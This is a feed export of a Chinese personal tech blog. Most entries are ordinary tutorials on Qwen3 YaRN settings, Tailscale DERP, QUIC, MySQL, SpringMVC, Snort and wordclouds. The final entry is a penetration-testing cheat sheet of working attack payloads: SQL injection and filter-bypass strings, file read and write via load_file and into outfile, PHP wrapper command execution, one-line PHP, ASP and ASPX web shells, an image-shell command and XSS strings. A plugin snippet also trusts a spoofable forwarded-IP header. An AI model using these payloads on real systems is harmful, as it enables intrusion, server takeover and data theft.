秋深的池塘 - deepfal
type: channel
link: https://blog.deepfal.cn/index.php/author/1/
description: deepfal
items: Qwen3模型YaRN长文本扩展技术深度解析
items: 自搭建 Tailscale DERP 服务器并使用客户端验证(verify-clients)
items: 一文读懂 QUIC 协议：更快、更稳、更高效的网络通信
items: MySQL经典四表查询(教师，学生，成绩，课程表)多表查询
items: SpringMVC注解式开发
items: SSM整合相关配置类 备忘
items: Snort 安装与配置(CentOS 7)
items: [Python] jieba+wordcloud 词频可视化
items: 安利一款Hansome主题专用的UserAgent插件
items: 渗透测试备忘录

Qwen3模型YaRN长文本扩展技术深度解析
type: item
date: 2025-08-15T14:08:35+08:00
description: Qwen3 模型原生支持 32,768 个 token 的上下文长度。对于超出此限制的长文本，官方推荐使用 YaRN (Yet another RoPE-based Neural network scaling) 扩展技术。YaRN 是一种基于旋转位置编码（RoPE）的扩展方法，已验证可将上下文长度扩展至 131,072 个 token，并被 transformers、llama.cpp、vllm 和 sglang 等多个推理框架支持。 要启用 YaRN，需配置以下关键参数： rope_scaling: 一个配置 RoPE 缩放策略的字典。 rope_type: 字符串类型，指定缩放类型。启用 YaRN 时，其值为 "yarn"。 factor: 浮点数，定义上下文窗口扩展的倍数。例如，4.0 表示将原始长度扩展四倍。 original_max_position_embeddings: 整数，表示模型的原始最大上下文长度，对于 Qwen3，其值为 32768。 max_model_len: 整数，最终设置的模型最大上下文长度，应与 factor 的乘积相匹配。 解决方案：两种配置方式 根据官方文档，有以下两种主要方法来启用 YaRN。 1. 修改模型配置文件（推荐） 这是最直接且不易出错的方法，完全规避了命令行参数解析的复杂性。 定位文件: 打开 Qwen3 模型目录下的 config.json 文件。 添加配置: 在文件中添加或修改 rope_scaling 字段，并设置 max_model_len。 JSON "rope_scaling": { "rope_type": "yarn", "factor": 4.0, "original_max_position_embeddings": 32768 }, "max_model_len": 131072 这种方法配置一次即可永久生效，特别适用于生产环境部署。 2. 命令行参数传递 对于不同的推理框架，命令行参数的格式有所不同。 vLLM: Bash VLLM_USE_MODELSCOPE=true vllm serve ... --rope-scaling '{"rope_type":"yarn","factor":4.0,"original_max_position_embeddings":32768}' --max-model-len 131072 sglang: Bash SGLANG_USE_MODELSCOPE=true python -m sglang.launch_server ... --json-model-override-args '{"rope_scaling":{"rope_type":"yarn","factor":4.0,"original_max_position_embeddings":32768}}' llama.cpp: Bash llama-server ... --rope-scaling yarn --rope-scale 4 --yarn-orig-ctx 32768 命令行参数的格式因框架而异，需特别注意。 推荐模型参数与最佳实践 在启用 YaRN 长文本支持后，为了获得最佳推理效果，还需关注以下生成参数和最佳实践： 采样参数 对于思考模式（enable_thinking=True），使用 Temperature=0.6、TopP=0.95、TopK=20 和 MinP=0。不要使用贪婪解码，因为它可能导致性能下降和无尽的重复。 对于非思考模式（enable_thinking=False），我们建议使用 Temperature=0.7、TopP=0.8、TopK=20 和 MinP=0。 对于支持的框架，您可以将 presence_penalty 参数调整在 0 到 2 之间以减少无尽的重复。然而，使用较高的值偶尔会导致语言混杂和模型性能轻微下降。 其他重要提示 性能考量: 大部分开源框架都实现了静态 YaRN。我们建议仅在需要处理长上下文时才启用 YaRN，因为它可能影响处理较短文本时的性能。 factor 调整: 官方建议根据典型上下文长度调整 factor，例如，若应用场景的上下文长度通常为 65,536 个 token，则将 factor 设置为 2.0。 版本兼容性: 若遇到 Unrecognized keys in rope_scaling 警告，请升级 transformers 至 4.51.0 或更高版本。 显存需求: 扩展上下文长度会显著增加显存消耗。处理 131,072 个 token 的文本可能需要比原生长度多占用 30-40% 的显存。 输出长度: 对于大多数查询，建议设置 32,768 个 token …

自搭建 Tailscale DERP 服务器并使用客户端验证(verify-clients)
type: item
date: 2025-01-16T15:42:00+08:00
description: 搭建 Tailscale DERP 服务器教程 Tailscale DERP（Distributed, Encrypted, and Resilient Packet Relay）服务器是 Tailscale 网络中用于中继流量的组件，尤其适用于网络环境复杂或直连困难的场景，但是国内网络连接官方提供的derp服务器时普遍存在延迟高，速度慢，甚至几乎无法使用的情况。所以产生了自建私有derp流量中转服务器的需求，以便在p2p无法直连打洞成功的场景下能够实现和使用低延迟，高速度的tailscale流量中继服务。以下是使用 Docker 搭建 Tailscale DERP 服务器的详细步骤： 环境准备 操作系统：推荐使用 Linux 系统，如 Ubuntu、Debian 等，因为 Docker 在 Linux 上的性能和兼容性更佳。 Docker 环境：确保已安装 Docker。可以通过运行 docker --version 命令来检查 Docker 是否已安装。 Tailscale 客户端：在宿主机上安装并启动 Tailscale 客户端，以便 DERP服务器能够与 Tailscale 网络通信。 网络配置：确保服务器的网络配置正确，能够正常访问外网，且对应的端口没有被防火墙阻止。 搭建步骤 1. 安装并启动 Tailscale 客户端 在宿主机上安装 Tailscale 客户端，并启动它。安装方法因操作系统而异，具体可以参考 Tailscale 官方文档。 启动 Tailscale 客户端后，它会在 /var/run/tailscale 目录下创建一个名为 tailscaled.sock 的套接字文件。 2. 拉取 Docker 镜像 从 Docker Hub 拉取 javaow/tailscale-derp 镜像。该镜像已经包含了搭建 DERP服务器所需的全部依赖和配置。 docker pull javaow/tailscale-derp 3. 运行 DERP服务器容器 使用以下命令启动 DERP服务器容器。该命令会将 DERP服务器映射到宿主机的指定端口，并挂载必要的文件和目录。 docker run -d \ --name tailscale-derp \ -p 0.0.0.0:59443:36666 \ -p 0.0.0.0:3478:3478/udp \ -v /var/run/tailscale/tailscaled.sock:/var/run/tailscale/tailscaled.sock \ javaow/tailscale-derp \ ./derper \ -hostname "derp.javaow.com" \ -a ":36666" \ -certmode "manual" \ -certdir "/ssl" \ --verify-clients 参数解释 -d：后台运行容器。 --name tailscale-derp：指定容器名称为 tailscale-derp。 -p 0.0.0.0:59443:36666：将容器的 36666 端口映射到宿主机的 59443 端口，允许外部访问。 -p 0.0.0.0:3478:3478/udp：将容器的 3478 端口映射到宿主机的 3478 端口，用于 UDP 通信。 -v /var/run/tailscale/tailscaled.sock:/var/run/tailscale/tailscaled.sock：将宿主机的 Tailscale 套接字文件挂载到容器中，以便 DERP服务器与 Tailscale 守护进程通信。 javaow/tailscale-derp：指定使用的 Docker 镜像。 ./derper：指定容器启动时运行的命令。 -hostname "derp.javaow.com"：设置 DERP服务器的主机名。 -a ":36666"：指定 DERP服务器监听的端口。 -certmode "manual"：指定证书模式为手动。 -certdir "/ssl"：指定证书目录。 --verify-clients：启用客户端验证。 4. 验证 DERP服务器状态 启动容器后，可以通过以下命令查看 DERP服务器的运行状态： docker logs tailscale-derp 如果看到类似 DERP server started 的日志信息，表示 DERP服务器已成功启动。 5. 配置 Tailscale 客户端 在 Tailscale 客户端的配置文件中，添加自建 DERP服务器的信息。具体配置方法如下： { "derpMap": { "OmitDefaultRegions": false, "Regions": { "910": { …

一文读懂 QUIC 协议：更快、更稳、更高效的网络通信
type: item
date: 2024-07-15T14:56:00+08:00
description: 一文读懂 QUIC 协议：更快、更稳、更高效的网络通信 ​ 你是否也有这样的困扰：打开 APP 巨耗时、刷剧一直在缓冲、追热搜打不开页面、信号稍微差点就直接加载失败…… ​ 如果有一个协议能让你的上网速度，在不需要任何修改的情况下就能提升 20%，特别是网络差的环境下能够提升 30%以上；如果有一个协议可以让你在 WiFi 和蜂窝数据切换时，网络完全不断开、直播不卡顿、视频不缓冲；你愿意去了解一下它吗？它就是 QUIC 协议。本文将从 QUIC 的背景、原理、实践部署等方面来详细介绍。 一：网络协议栈 1.1 什么叫网络协议？ ​ 类似于我们生活中签署的合同一样，比如买卖合同是为了约束买卖双方的行为按照合同的要求履行，网络协议是为了约束网络通信过程中各方（客户端、服务端及中间设备）必须按照协议的规定进行通信，它制定了数据包的格式、数据交互的过程等等，网络中的所有设备都必须严格遵守才可以全网互联。 ​ 在网络协议栈中，是有分层的，每一层负责不同的事务。我们讨论最多的有三个：应用层、传输层、网络层。应用层主要是针对应用软件进行约束，比如你访问网站需要按照 HTTP 协议格式和要求进行，你发送电子邮件需要遵守 SMTP 等邮件协议的格式和要求；传输层主要负责数据包在网络中的传输问题，比如如何保证数据传输的时候的安全性和可靠性、数据包丢了怎么处理；网络层，也叫路由转发层，主要负责数据包从出发地到目的地，应该怎样选择路径才能更快的到达。合理的网络协议能够让用户上网更快！ 1.2 HTTP/3 协议 ​ HTTP/3 是第三个主要版本的 HTTP 协议。与其前任 HTTP/1.1 和 HTTP/2 不同，在 HTTP/3 中，弃用 TCP 协议，改为使用基于 UDP 协议的 QUIC 协议实现。所以，HTTP/3 的核心在于 QUIC 协议。显然，HTTP/3 属于应用层协议，而它使用的 QUIC 协议属于传输层协议。 1.3 我们需要 HTTP/3 协议吗 ​ 很多人可能都会有这样一个疑问，为什么在 2015 年才标准化了 HTTP/2 ，这么快就需要 HTTP/3？ ​ 我们知道，HTTP/2 通过引入“流”的概念，实现了多路复用。简单来说，假设你访问某个网站需要请求 10 个资源，你使用 HTTP1.1 协议只能串行地发请求，资源 1 请求成功之后才能发送资源 2 的请求，以此类推，这个过程是非常耗时的。如果想 10 个请求并发，不需要串行等待的话，在 HTTP1.1 中，应用就需要为一个域名同时建立 10 个 TCP 连接才行（一般浏览器不允许建立这么多），这无疑是对资源的极大的浪费。HTTP/2 的多路复用解决了这一问题，能使多条请求并发。 ​ 但现实很残酷，为什么很多业务用了 HTTP/2，反倒不如 HTTP1.1 呢？ ​ 第一：多流并发带来了请求优先级的问题，因为有的请求客户端（比如浏览器）希望它能尽快返回，有的请求可以晚点返回；又或者有的请求需要依赖别的请求的资源来展示。流的优先级表示了这个请求被处理的优先级，比如客户端请求的关键的 CSS 和 JS 资源是必须高优先级返回的，图片视频等资源可以晚一点响应。流的优先级的设置是一个难以平衡或者难以做到公平合理的事情，如果设置稍微不恰当，就会导致有些请求很慢，这在用户看来，就是用了 HTTP/2 之后，怎么有的请求变慢了。 ​ 第二：HTTP/2 解决了 HTTP 协议层面的队头阻塞，但是 TCP 的队头阻塞仍然没有解决，所有的流都在一条 TCP 连接上，如果万一序号小的某个包丢了，那么 TCP 为了保证到达的有序性，必须等这个包到达后才能滑动窗口，即使后面的序号大的包已经到达了也不能被应用程序读取。这就导致了在多条流并发的时候，某条流的某个包丢了，序号在该包后面的其他流的数据都不能被应用程序读取。这种情况下如果换做 HTTP1.1，由于 HTTP1.1 是多条连接，某个连接上的请求丢包了，并不影响其他连接。所以在丢包比较严重的情况下，HTTP/2 整体效果大概率不如 HTTP1.1 ​ 事实上，我们并不是真的需要新的 HTTP 版本，而是需要对底层传输控制协议(TCP) 进行升级。 1.4 QUIC 协议栈 ​ QUIC 协议实现在用户态，建立在内核态的 UDP 的基础之上，集成了 TCP 的可靠传输特性，集成了 TLS1.3 协议，保证了用户数据传输的安全。 二：QUIC 协议的优秀特性 2.1 建连快 ​ 数据的发送和接收，要想保证安全和可靠，一定是需要连接的。TCP 需要，QUIC 也同样需要。连接到底是什么？连接是一个通道，是在一个客户端和一个服务端之间的唯一一条可信的通道，主要是为了安全考虑，建立了连接，也就是建立了可信通道，服务器对这个客户端“很放心”，对于服务…

MySQL经典四表查询(教师，学生，成绩，课程表)多表查询
type: item
date: 2023-08-18T14:14:00+08:00
description: MySQL经典四表查询(教师，学生，成绩，课程表)多表查询 1、表架构呈现 student(sid,sname,sage,ssex) 学生表 teacher(tid,tname) 教师表 course(cid,cname,tid) 课程表 sc(sid,cid,score) 成绩表 2、建表SQL语句并插入数据 -- 1.学生表 CREATE TABLE student( sid INT PRIMARY KEY AUTO_INCREMENT, sname VARCHAR(20), sage DATE, ssex ENUM ('男','女') ); -- 2.课程表中使用了外键教师编号，因而需要先建立教师表 CREATE TABLE teacher( tid INT PRIMARY KEY AUTO_INCREMENT, tname VARCHAR(20) ); -- 3.建立课程表 CREATE TABLE course( cid INT PRIMARY KEY AUTO_INCREMENT, cname VARCHAR(20), tid INT, FOREIGN KEY (tid) REFERENCES teacher (tid) ); -- 4.建立成绩表 CREATE TABLE sc( sid INT, cid INT, score INT ); -- 先给student表插入数据 INSERT INTO student VALUES (1,'赵雷','1990-01-01','男'), (2,'钱电','1990-12-21','男'), (3,'孙风','1990-05-20','男'), (4,'李云','1990-08-06','男'), (5,'周梅','1991-12-01','女'), (6,'吴兰','1992-03-01','女'), (7,'郑竹','1989-07-01','女'), (8,'王菊','1990-01-20','女'); -- 给teacher表插入数据,这里不可以先给course表插入数据,因为course表外键连接到teacher的主键 INSERT INTO teacher VALUES(1,'张三'),(2,'李四'),(3,'王五'); -- 给course表插入数据 INSERT INTO course VALUES(1,'语文',2),(2,'数学',1),(3,'英语',3); -- 最后给sc表插入数据 INSERT INTO sc VALUES(1,1,90),(1,2,80),(1,3,90),(2,1,70),(2,2,60),(2,3,80),(3,1,80), (3,2,80),(3,3,80),(4,1,50),(4,2,30),(4,3,20),(5,1,76),(5,2,87),(6,1,31),(6,3,34),(7,2,89),(7,3,98); 3、问题集锦 （1）查询 1 课程比 2 课程成绩高的学生的信息及课程分数 SELECT s.sid,s.sname,s.sage,s.ssex,sc1.score,sc2.score FROM student s ,sc sc1,sc sc2 WHERE sc1.`cid` = 1 AND sc2.`cid` = 2 AND sc1.`score` > sc2.`score` AND sc1.`sid` = s.`sid`AND sc2.`sid` = s.`sid`; （2）查询平均成绩大于等于60分的同学的学生编号和学生姓名和平均成绩 SELECT s.sid,s.sname,AVG(sc1.`score`) AS 'avg_score' FROM student s ,sc sc1 WHERE s.sid = sc1.`sid` GROUP BY s.sid HAVING avg_score >= 60 ORDER BY avg_score DESC; （3）查询名字中含有"风"字的学生信息 SELECT s.sid,s.sname,s.sage,s.ssex FROM student s WHERE sname LIKE '%风%'; （4）查询课程名称为"数学"，且分数低于60的学生姓名和分数 SELECT s.sname,sc1.score FROM student s ,sc sc1 WHERE s.sid = sc1.sid AND cid = 2 AND sc1.score < 60; （5）查询所有学生的课程及分数情况 SELECT sc1.sid,c.cname,sc1.score FROM course c,sc sc1 WHERE c.cid = sc1.cid; （6）查…

SpringMVC注解式开发
type: item
date: 2023-08-18T13:45:00+08:00
description: SpringMVC注解式开发 1.1 @Controller ​ 传统的配置式开发中的控制器Controller类必须实现Controller接口，并实现接口中的HandleRequest()方法，还需要再配置文件中配置处理器映射，且一个处理器（控制器）只能有一个方法，为了实现程序功能，不得不创建大量的处理器（控制器）类，不够方便灵活。 ​ 而，注解开发中，将一个普通的类转化为控制器类只需要在该类的声明上添加@Controller注解即可。一个基于注解的控制器可以有多个方法，能大大减少处理器（控制器）类的数量。 ​ 要使注解被扫描到，必须在springmvc.xml中配置组件扫描器，代码如下： <context:component-scan base-package="com.deepfal.controller" /> 1.2 @RequestMapping定义请求规则 ​ 基于注解的控制器无须在xml配置文件中配置处理器映射器，仅需要用@RequestMapping对应控制器类中任意一个方法进行注解即可建立“请求/响应”映射关系，将客户端请求与处理器的方法一一对应。 ​ 通过@RequestMapping 注解可以定义处理器对于请求的映射规则。该注解可以注解在方法上，也可以注解在类上，但意义是不同的。value 属性值常以“/”开始。@RequestMapping 的 value 属性用于定义所匹配请求的 URI。 1.2.1 指定模块名称 ​ 一个@Controller 所注解的类中，可以定义多个处理器方法。当然，不同的处理器方法所匹配的 URI 是不同的。这些不同的 URI 被指定在注解于方法之上的@RequestMapping 的value 属性中。但若这些请求具有相同的 URI 部分，则这些相同的 URI部分可以被抽取到注解在类之上的@RequestMapping 的 value 属性中。此时的这个 URI 表示模块（相当于包）的名称。URI 的请求是相对于 Web 的根目录。换个角度说，要访问处理器的指定方法，必须要在方法指定 URI 之前加上处理器类前定义的模块名称。 示例： 提取后 @Controller @RequestMapping("/zar") public class HelloSpringMvc { //相当于一个控制器处理的方法 @RequestMapping("/hello") public String one() { return "main"; } @RequestMapping("/two") public String two() { return "main"; } //客户端的请求： // // } 1.2.2 对请求提交方式的定义 ​ 对于@RequestMapping，其有一个属性 method，用于对被注解方法所处理请求的提交方式进行限制，即只有满足该 method 属性指定的提交方式的请求，才会执行该被注解方法。Method 属性的取值为 RequestMethod 枚举常量。常用的为 RequestMethod.GET 与RequestMethod.POST，分别表示提交方式的匹配规则为 GET 与 POST 提交。 @RequestMapping(value = "/hello",method = RequestMethod.POST) public String one() { return "main"; } 以上处理器方法只能处理 POST 方式提交的请求。 客户端浏览器常用的请求方式，及其提交方式有以下几种： 也就是说，只要指定了处理器方法匹配的请求提交方式为 POST，则相当于指定了请求发送的方式：要么使用表单请求，要么使用 AJAX 请求。其它请求方式被禁用。 当然，若不指定 method 属性，则无论是 GET 还是 POST 提交方式，均可匹配。即对于请求的提交方式无要求。 （1）post提交方式 （2）get提交方式 1.3 数据提交的方式 前四种数据注入的方式，会自动进行类型转换。但无法自动转换日期类型。 （1）单个数据（基本数据类型）注入 在方法中声明一个和表单提交的参数名称相同的参数，由框架按照名称直接注入。 （2）对象封装注入 在方法中声明一个自定义的实体类参数，框架调用实体类中相应的setter方法注入属性值，只要保证实体类中成员变量的名称与提交请求的name属性值一致即可。 实体Bean含对象属性 比如：Student对象，其中有一个Address的对象属性，在Address对象中有country和city两个基本类型的属性。 对象数据提交 姓名： 年龄： 国家： 城市： （3）动态占位符提交/路径变量（仅用于超链接） ​ 使用框架提供的…

SSM整合相关配置类 备忘
type: item
date: 2023-08-18T13:22:00+08:00
description: SSM整合相关纯注解配置类 备忘 纯注解配置类，包含Servlet,SpringMVC，Spring，MyBatis 组件名(artifactId) 版本号 javax.servlet-api 4.0.1 javax.servlet.jsp-api 2.3.3 spring-webmvc 5.2.10.RELEASE mysql-connector-java 5.1.49 spring-jdbc 5.2.10.RELEASE druid 1.2.17 mybatis 3.5.13 mybatis-spring 2.1.1 Servlet配置类 ServletConfig.java package com.deepfal.config; import org.springframework.web.filter.CharacterEncodingFilter; import org.springframework.web.servlet.support.AbstractAnnotationConfigDispatcherServletInitializer; import javax.servlet.Filter; /** * AbstractAnnotationConfigDispatcherServletInitializer是一个Spring框架中的抽象类,它用来配置使用基于Java的Spring配置(基于注解的配置) instead of the traditional web.xml file的Web应用程序。 * * 它扩展了AbstractDispatcherServletInitializer类,并重写了特定的方法来指定Java @Configuration类的位置,DispatcherServlet的映射以及DispatcherServlet的名称。 * * 关于AbstractAnnotationConfigDispatcherServletInitializer的一些关键点: * * 这是一个抽象类,需要扩展它并提供应用程序特定的配置。 * getRootConfigClasses()方法返回配置根应用程序上下文的@Configuration类数组,这个上下文由ContextLoaderListener加载。 * getServletConfigClasses()方法返回配置dispatcher servlet应用程序上下文的@Configuration类。 * getServletMappings()方法返回DispatcherServlet的servlet映射,默认映射到"/"。 * 所以总结一下,它提供了一种基于Java的方式来配置DispatcherServlet以及根应用程序上下文,作为web.xml的替代方案。扩展这个类并重写方法可以只使用Java代码而不需要web.xml就配置一个Spring MVC web应用程序。 */ public class ServletConfig extends AbstractAnnotationConfigDispatcherServletInitializer { //加载Spring容器 @Override protected Class<?>[] getRootConfigClasses() { return new Class[]{SpringConfig.class}; } //指向SpringMvc配置类，加载SpringMVC容器 @Override protected Class<?>[] getServletConfigClasses() { return new Class[]{SpringMvcConfig.class}; } //将哪些请求发给SpringMVC处理 @Override protected String[] getServletMappings() { return new String[]{"/"}; } //编码过滤器（仅对Body生效） @Override protected Filter[] getServletFilters() { CharacterEncodingFilter filter = new CharacterEncodingFilter(); filter.setEncoding("UTF-8"); return new Filter[]{filter}; } } SpringMVC配置类 SpringMvcConfig.java package com.deepfal.config; import org.springframework.context.annotation.Componen…

Snort 安装与配置(CentOS 7)
type: item
date: 2023-04-21T01:31:00+08:00
description: Snort 安装与配置(CentOS 7) ​ Snort 是免费 NIPS 以及 NIDS 软件，具有对数据流量分析和对网络数据包进行分析处理的能力，通过灵活可定制的规则库（Rules），可对处理的报文内容进行搜索和匹配，能够检测出各种攻击，并进行实时预警。 ​ Snort 支持三种工作模式：嗅探器、数据包记录器、网络入侵检测系统，支持多种操作系统，如 Fedora、CentOS、FreeBSD、Windows 等，本次实验使用 CentOS 7 系统安装 Snort 3。 前置工作 根据实际网络连接情况配置网卡信息，使能够连通互联网。 更新 Yum 源和软件包： # sudo yum clean all # sudo yum makecache # sudo yum -y update 安装Wget，准备使用网络下载所需资源： # sudo yum install -y wget 安装 EPEL 源： # sudo yum install -y epel-release 安装所需组件： # sudo yum install -y gcc flex bison zlib zlib-devel libpacp libpacp-devel pcre pcre-devel libdnet libdnet-devel tcpdump 安装 Snort&daq 使用官网预编译的 rpm 安装包安装 Snort&daq： # cd ~ # wget https://snort.org/downloads/archive/snort/daq-2.0.6-1.centos7.x86_64.rpm # wget https://snort.org/downloads/archive/snort/snort-2.9.9.0-1.centos7.x86_64.rpm # sudo yum install ./daq-2.0.6-1.centos7.x86_64.rpm -y # sudo yum install ./snort-2.9.9.0-1.centos7.x86_64.rpm -y 配置 Snort ​ Snort官方提供三种下载规则：Community rules、Registered rules、Subscriber rules，第一种是社区规则，无需注册购买即可下载使用，第二种是注册规则，需要在官方注册账户后可下载使用，第三种必须要付费订阅才可使用。这里使用第一种 Community rules。 下载解压 Community rules 规则： # cd ~ # wget https://www.snort.org/rules/community -O ~/community.tar.gz # sudo tar -xvf ~/community.tar.gz -C ~/ # sudo sudo cp ~/community-rules/* /etc/snort/rules 创建所需要的文件和目录，在前面的操作中，有些目录已经自动创建好了，所以创建目录时看到”目录已存在“的提示无须担心： # sudo mkdir /var/log/snort # sudo mkdir /usr/local/lib/snort_dynamicrules # sudo mkdir /etc/snort/rules # sudo touch /etc/snort/rules/white_list.rules # sudo touch /etc/snort/rules/black_list.rules 编辑 Snort 配置文件 # sudo vi /etc/snort/snort.conf 找到 var RULE_PATH ../rules 及相邻的四条配置信息，修改路径变量为： var RULE_PATH /etc/snort/rules var SO_RULE_PATH /etc/snort/so_rules var PREPROC_RULE_PATH /etc/snort/preproc_rules var WHITE_LIST_PATH /etc/snort/rules var BLACK_LIST_PATH /etc/snort/rules 设置日志目录：找到关键词 # config logdir: ，取消注释后将该行修改为 config logdir: /var/log/snort 配置输出插件，找到关键词 # output unified2: ，取消注释后将该行 修改为 output unified2: filename snort.log, limit 128 配置 Snort 启动时需要加载的自定义规则项：找到关键词 # include…

[Python] jieba+wordcloud 词频可视化
type: item
date: 2022-04-10T02:23:00+08:00
description: 案例实操 准备资源 导入所需库import wordcloud import jieba 准备好源文件，屏蔽词文件，备用字体font_path = 'C:\Windows\Fonts\时尚中黑简体.ttf' file_path = '新建文本文档.txt' fake_path = 'stop_key.txt' 自定义变量alist = [] # btext = '' # fake_set = {1} #第三方屏蔽列集合 #根据文档特殊性而设计的自定义屏蔽词 stop_words = {'我们','这个','一个','可以','下来','这样','就是','用来', '非常','然后','这里','非常','大家','时候','上面','里面', '放在','首先','准备','出来','很多','其实','一些','拿出','还有','如果'} 读取数据集 #读入源文档 with open(file_path,'r',encoding='GBK',errors='ignore')as f: text = f.read() #type（text）:str #ignore errors #读入屏蔽词 with open (fake_path,'r',encoding='utf-8')as f: fake_data = f.readlines() #屏蔽词文件中，每一个词汇独占一行，因此逐行读取 #type（fake_data） is list. 这个列表里的每个元素都是str for i in fake_data: #遍历屏蔽词列表，每个i都是一个屏蔽词 fake_set.add(i.strip()) #将屏蔽词加入集合，集合具有无序独立性，会自动排除重复词 #扩充屏蔽词库 fake_set = fake_set|stop_words 分词 #alist装填分词句 for i in jieba.cut(text,cut_all=False): #text是源文档 #切分采用精确模式 #jieba.cut（）返回一个generate对象，使用for语句可以遍历此对象 #每一个i都是一个str alist.append(i.strip()) #循环结束后，alist列表里的若干个元素，都是通过jieba分好的词 # 剔除屏蔽词 for word in alist: #alist是一个装填分词的列表，里面的每一个元素都来自源文档 if word not in fake_set: #如果遍历到的词汇不是屏蔽词，那么就把这词接入btext btext += word btext +='/' #每个分词之间用/断开 #btext变量是一个较长的且已过滤屏蔽词的字符串str，每个分词之间由'/'断开 生成词云 # 实例化 wc = wordcloud.WordCloud(font_path=font_path, width=1920, height=1080, background_color="white") # 传入 str 对象 # 此处给 generate 传入的参数 btext 已手动除杂，无需在 wordcloud 的实例化参数中指明 stopwords wc.generate(btext) file = wc.to_file('11111.jpg') image = wc.to_image(） image.show() Demo 手动爬取 15 个沙雕营销号生活妙用视频文案，利用 jieba + wordcloud 统计高频词。 问题总结 文件读写统一编码格式 错误案例：读取多个编码格式不同的文件时，使用了统一的解码格式，导致文本乱码或屏蔽失效。 例如：屏蔽词文件 stop_key.txt 编码为 GBK，源文件 raw_text.txt 编码为 UTF-8。一开始写函数并没有注意到这个细节，而后整个程序的读文件操作都通过一个 read_file() function 进行，导致整个程序陷入了无限报错之中，拆东墙补西墙。 解决方案：给 read_file() function 自定义参数 mode，进而针对特殊编码的文件单独控制 encoding。 ps：此处分别用两个 open 强调文件编码不同 ps：在我没意识到文件编码异常之前，一直在调整统一的 encoding 试错，从 UTF-8 到 GBK 再到 GB18030，显然都不能解决问题。如果通过设置 errors=ignore 强行忽视非法编码，要么导致源文文本乱码，要么就会在词库过滤时发现 stop_words 集合并没有起作用（原因一致）。由此引发的 Error 信息如下。 UnicodeDecodeError: 'gbk' codec can't decode byt…

安利一款Hansome主题专用的UserAgent插件
type: item
date: 2022-04-03T17:56:00+08:00
description: 食用指南 操作前请做好相应备份工作 此插件只适用于Handsome主题，未对其它主题优化！！！ 请先将插件置于Typecho的plugins目录下，且插件目录名应为UserAgent，注意大小写，否则将无法正常食用！！！ 修改Handsome主题，component目录下的comments.php代码文件，大概第60~80行左右， <?php echo $author; ?><?php echo $Identity; ?> 添加代码<?php UserAgent_Plugin::get_useragent($comments->agent,$comments->ip); ?> ，修改后代码如下： <?php echo $author; ?><?php echo $Identity; ?><?php UserAgent_Plugin::get_useragent($comments->agent,$comments->ip); ?> 获取真实IP Typecho开启CDN后，可能无法获取访客真实IP，只能取得CDN节点IP，为此可以在Typecho博客网站的根目录的config.inc.php插入下面的代码： //** 防止CDN造成无法获取客户真实IP地址 */ if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $list = explode(',',$_SERVER['HTTP_X_FORWARDED_FOR']); $_SERVER['REMOTE_ADDR'] = $list[0]; } [button color="info" icon="" url="https://pan.deepfal.cn/api/v3/file/source/8857/UserAgent.zip?sign=GJ2gpWXltFLgkZet4q0LFk0WfcekZuGKLMdF_lVbZXw%3D%3A0" type="round"]下载插件[/button]

渗透测试备忘录
type: item
date: 2022-04-03T16:48:00+08:00
description: 本文章仅作技术研究，请勿用作非法途径! Web SQL Inject 联合查询爆显示位 union select 1,user(),3 联合查询爆表名 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+ 联合查询爆字段名 union select 1,2,group_concat(column_name) from information_schema.column where table_schema='users' --+ 联合查询爆字段值 union select 1,username,password from `key` --+ 万能密码 admin' or'1'='1' 布尔盲注测试 and length(database())=4 --+ 时间盲注测试 or if(ascii(substr(database(),1,1))>0,sleep(1),1) --+ floor报错注入 select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a); extractvalue报错注入 select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e))); info outfile写文件 select '<?php phpinfo();?>' into outfile '/var/www/html' load_file 读文件 union select load_file('/etc/passwd') access and (select count(*) from msysobjects)>0 and 1=1 mssql and (select count(*) from sysobjects)>0 and 1=1 oracle and (select count(*) from sys.user_tables)>0 and 1=1 Bypass 大小写 uNIoN sELecT 1,2,3 空格绕过 /**/%55nION/**/%53ElecT/**/1,2,3Select(user())from test where id=1 and 1=1; 内联注释 /*!UNION*/+/*!SELECT*/+1,2,3/*UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM/*information_schema*/.tables /*!WHERE*/+/*!TaBlE_ScHeMa*/+like+database()--- 双写绕过 UNIunionON+SELselectECT+1,2,3 编码绕过 URLEncode编码：or 1=1即%6f%72%20%31%3d%31 ASCII编码： Test：CHAR(84)+CHAR(101)+CHAR(115)+CHAR(116) 十六进制编码：SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61)) PHP伪协议 php伪协议，以base64编码输出 php://filter/read=convert.base64-encode/resource=index.php php伪协议，以base64编码写入 php://filter/write=convert.base64-decode/resource=xx.php data协议命令执行 data:text/plain,<?php system('whoami');?> 一句话木马 php <?php eval($_POST['pwd']);?> asp <%execute(request('pwd'))%> aspx <% @Page Language='jscript'%><%eval(Request.Item['pwd'],'unsafe');%> 生成图片马 copy 1.jpg /b + 1.php /b shell.php XSS Payload alert(document.cookie)</script ' onmouseover='alert(/xss/) " onclick="alert(/xss/) javascript:al…